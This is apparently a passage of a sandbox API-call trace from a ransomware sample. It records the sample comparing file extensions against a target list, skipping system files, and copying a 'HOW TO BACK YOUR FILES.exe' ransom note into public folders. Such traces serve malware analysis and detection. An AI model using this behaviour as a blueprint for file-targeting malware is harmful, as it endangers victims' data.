	[0036.082] lstrlenW (lpString="rodx") returned 4
	[0036.082] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0036.082] lstrlenW (lpString="rpd") returned 3
	[0036.082] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0036.082] lstrlenW (lpString="rsd") returned 3
	[0036.082] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0036.082] lstrlenW (lpString="sas7bdat") returned 8
	[0036.082] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0036.082] lstrlenW (lpString="sbf") returned 3
	[0036.082] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0036.082] lstrlenW (lpString="scx") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0036.083] lstrlenW (lpString="sdb") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0036.083] lstrlenW (lpString="sdc") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0036.083] lstrlenW (lpString="sdf") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0036.083] lstrlenW (lpString="sis") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0036.083] lstrlenW (lpString="spq") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0036.083] lstrlenW (lpString="te") returned 2
	[0036.083] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0036.083] lstrlenW (lpString="teacher") returned 7
	[0036.083] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0036.083] lstrlenW (lpString="tmd") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0036.083] lstrlenW (lpString="tps") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0036.083] lstrlenW (lpString="trc") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.083] lstrlenW (lpString="trc") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.083] lstrlenW (lpString="trm") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0036.083] lstrlenW (lpString="udb") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0036.083] lstrlenW (lpString="udl") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0036.083] lstrlenW (lpString="usr") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0036.083] lstrlenW (lpString="v12") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0036.083] lstrlenW (lpString="vis") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0036.083] lstrlenW (lpString="vpd") returned 3
	[0036.083] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0036.083] lstrlenW (lpString="vvv") returned 3
	[0036.084] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0036.084] lstrlenW (lpString="wdb") returned 3
	[0036.084] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0036.084] lstrlenW (lpString="wmdb") returned 4
	[0036.084] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0036.084] lstrlenW (lpString="wrk") returned 3
	[0036.084] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0036.084] lstrlenW (lpString="xdb") returned 3
	[0036.084] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0036.084] lstrlenW (lpString="xld") returned 3
	[0036.084] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0036.084] lstrlenW (lpString="xmlff") returned 5
	[0036.084] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0036.084] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc2fa70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dc2fa70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.084] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.084] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
	[0036.084] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.084] lstrcmpiW (lpString1="My Music", lpString2="Apollon865.txt.exe") returned 1
	[0036.084] lstrcmpiW (lpString1="My Music", lpString2=".") returned 1
	[0036.084] lstrcmpiW (lpString1="My Music", lpString2="..") returned 1
	[0036.084] lstrcmpiW (lpString1="My Music", lpString2="windows") returned -1
	[0036.084] lstrcmpiW (lpString1="My Music", lpString2="bootmgr") returned 1
	[0036.084] lstrcmpiW (lpString1="My Music", lpString2="temp") returned -1
	[0036.084] lstrcmpiW (lpString1="My Music", lpString2="pagefile.sys") returned -1
	[0036.084] lstrcmpiW (lpString1="My Music", lpString2="boot") returned 1
	[0036.084] lstrcmpiW (lpString1="My Music", lpString2="ids.txt") returned 1
	[0036.084] lstrcmpiW (lpString1="My Music", lpString2="ntuser.dat") returned -1
	[0036.084] lstrcmpiW (lpString1="My Music", lpString2="perflogs") returned -1
	[0036.084] lstrcmpiW (lpString1="My Music", lpString2="MSBuild") returned 1
	[0036.084] lstrlenW (lpString="My Music") returned 8
	[0036.084] lstrlenW (lpString="C:\\Users\\Public\\Documents\\desktop.ini") returned 37
	[0036.084] lstrcpyW (in: lpString1=0x2d3e584, lpString2="My Music" | out: lpString1="My Music") returned="My Music"
	[0036.084] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0036.084] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x46) returned 0x5bdca8
	[0036.084] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0036.084] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
	[0036.085] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.085] lstrcmpiW (lpString1="My Pictures", lpString2="Apollon865.txt.exe") returned 1
	[0036.085] lstrcmpiW (lpString1="My Pictures", lpString2=".") returned 1
	[0036.085] lstrcmpiW (lpString1="My Pictures", lpString2="..") returned 1
	[0036.085] lstrcmpiW (lpString1="My Pictures", lpString2="windows") returned -1
	[0036.085] lstrcmpiW (lpString1="My Pictures", lpString2="bootmgr") returned 1
	[0036.085] lstrcmpiW (lpString1="My Pictures", lpString2="temp") returned -1
	[0036.085] lstrcmpiW (lpString1="My Pictures", lpString2="pagefile.sys") returned -1
	[0036.085] lstrcmpiW (lpString1="My Pictures", lpString2="boot") returned 1
	[0036.085] lstrcmpiW (lpString1="My Pictures", lpString2="ids.txt") returned 1
	[0036.085] lstrcmpiW (lpString1="My Pictures", lpString2="ntuser.dat") returned -1
	[0036.085] lstrcmpiW (lpString1="My Pictures", lpString2="perflogs") returned -1
	[0036.085] lstrcmpiW (lpString1="My Pictures", lpString2="MSBuild") returned 1
	[0036.085] lstrlenW (lpString="My Pictures") returned 11
	[0036.085] lstrlenW (lpString="C:\\Users\\Public\\Documents\\My Music") returned 34
	[0036.085] lstrcpyW (in: lpString1=0x2d3e584, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures"
	[0036.085] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0036.085] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bc858
	[0036.085] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7ab0
	[0036.085] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
	[0036.085] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.085] lstrcmpiW (lpString1="My Videos", lpString2="Apollon865.txt.exe") returned 1
	[0036.085] lstrcmpiW (lpString1="My Videos", lpString2=".") returned 1
	[0036.085] lstrcmpiW (lpString1="My Videos", lpString2="..") returned 1
	[0036.085] lstrcmpiW (lpString1="My Videos", lpString2="windows") returned -1
	[0036.085] lstrcmpiW (lpString1="My Videos", lpString2="bootmgr") returned 1
	[0036.085] lstrcmpiW (lpString1="My Videos", lpString2="temp") returned -1
	[0036.085] lstrcmpiW (lpString1="My Videos", lpString2="pagefile.sys") returned -1
	[0036.085] lstrcmpiW (lpString1="My Videos", lpString2="boot") returned 1
	[0036.085] lstrcmpiW (lpString1="My Videos", lpString2="ids.txt") returned 1
	[0036.085] lstrcmpiW (lpString1="My Videos", lpString2="ntuser.dat") returned -1
	[0036.085] lstrcmpiW (lpString1="My Videos", lpString2="perflogs") returned -1
	[0036.085] lstrcmpiW (lpString1="My Videos", lpString2="MSBuild") returned 1
	[0036.085] lstrlenW (lpString="My Videos") returned 9
	[0036.085] lstrlenW (lpString="C:\\Users\\Public\\Documents\\My Pictures") returned 37
	[0036.086] lstrcpyW (in: lpString1=0x2d3e584, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos"
	[0036.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0036.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bdd98
	[0036.086] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7ad0
	[0036.086] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0
	[0036.086] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0036.086] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0036.086] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Documents\\My Videos", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos"
	[0036.086] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdd98 | out: hHeap=0x580000) returned 1
	[0036.086] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0036.086] lstrlenW (lpString="C:\\Users\\Public\\Documents\\My Videos") returned 35
	[0036.086] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Documents\\My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos"
	[0036.086] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.086] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0036.087] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac
	[0036.087] GetLastError () returned 0x0
	[0036.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0036.087] ReadFile (in: hFile=0xac, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0036.087] CloseHandle (hObject=0xac) returned 1
	[0036.087] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0036.087] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.087] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0xffffffff
	[0036.087] GetLastError () returned 0x5
	[0036.087] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Public\\Documents\\My Videos\\* FindFirstFile error 5\r\n") returned 69
	[0036.088] lstrlenA (lpString="[ERROR] C:\\Users\\Public\\Documents\\My Videos\\* FindFirstFile error 5\r\n") returned 69
	[0036.088] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac
	[0036.088] SetFilePointer (in: hFile=0xac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x448
	[0036.088] WriteFile (in: hFile=0xac, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x45, lpOverlapped=0x0) returned 1
	[0036.088] CloseHandle (hObject=0xac) returned 1
	[0036.089] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0036.089] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Documents\\My Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures"
	[0036.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc858 | out: hHeap=0x580000) returned 1
	[0036.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0036.089] lstrlenW (lpString="C:\\Users\\Public\\Documents\\My Pictures") returned 37
	[0036.089] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures"
	[0036.089] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.089] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0036.090] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac
	[0036.090] GetLastError () returned 0x0
	[0036.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0036.090] ReadFile (in: hFile=0xac, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0036.090] CloseHandle (hObject=0xac) returned 1
	[0036.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0036.090] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.090] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0xffffffff
	[0036.090] GetLastError () returned 0x5
	[0036.090] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Public\\Documents\\My Pictures\\* FindFirstFile error 5\r\n") returned 71
	[0036.090] lstrlenA (lpString="[ERROR] C:\\Users\\Public\\Documents\\My Pictures\\* FindFirstFile error 5\r\n") returned 71
	[0036.090] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac
	[0036.091] SetFilePointer (in: hFile=0xac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x48d
	[0036.091] WriteFile (in: hFile=0xac, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x47, lpOverlapped=0x0) returned 1
	[0036.091] CloseHandle (hObject=0xac) returned 1
	[0036.091] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0036.092] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Documents\\My Music", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music"
	[0036.092] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdca8 | out: hHeap=0x580000) returned 1
	[0036.092] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0036.092] lstrlenW (lpString="C:\\Users\\Public\\Documents\\My Music") returned 34
	[0036.092] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Documents\\My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music"
	[0036.092] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.092] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0036.092] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac
	[0036.092] GetLastError () returned 0x0
	[0036.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0036.092] ReadFile (in: hFile=0xac, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0036.092] CloseHandle (hObject=0xac) returned 1
	[0036.092] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0036.092] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.093] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0xffffffff
	[0036.093] GetLastError () returned 0x5
	[0036.093] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Public\\Documents\\My Music\\* FindFirstFile error 5\r\n") returned 68
	[0036.093] lstrlenA (lpString="[ERROR] C:\\Users\\Public\\Documents\\My Music\\* FindFirstFile error 5\r\n") returned 68
	[0036.093] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac
	[0036.093] SetFilePointer (in: hFile=0xac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4d4
	[0036.093] WriteFile (in: hFile=0xac, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x44, lpOverlapped=0x0) returned 1
	[0036.093] CloseHandle (hObject=0xac) returned 1
	[0036.142] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0036.142] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Desktop", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop"
	[0036.142] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7e98 | out: hHeap=0x580000) returned 1
	[0036.142] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0036.142] lstrlenW (lpString="C:\\Users\\Public\\Desktop") returned 23
	[0036.142] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop"
	[0036.142] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.142] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.148] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.148] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dca1e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dca1e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0036.148] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.148] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.148] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.148] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dca1e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dca1e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.148] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.148] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
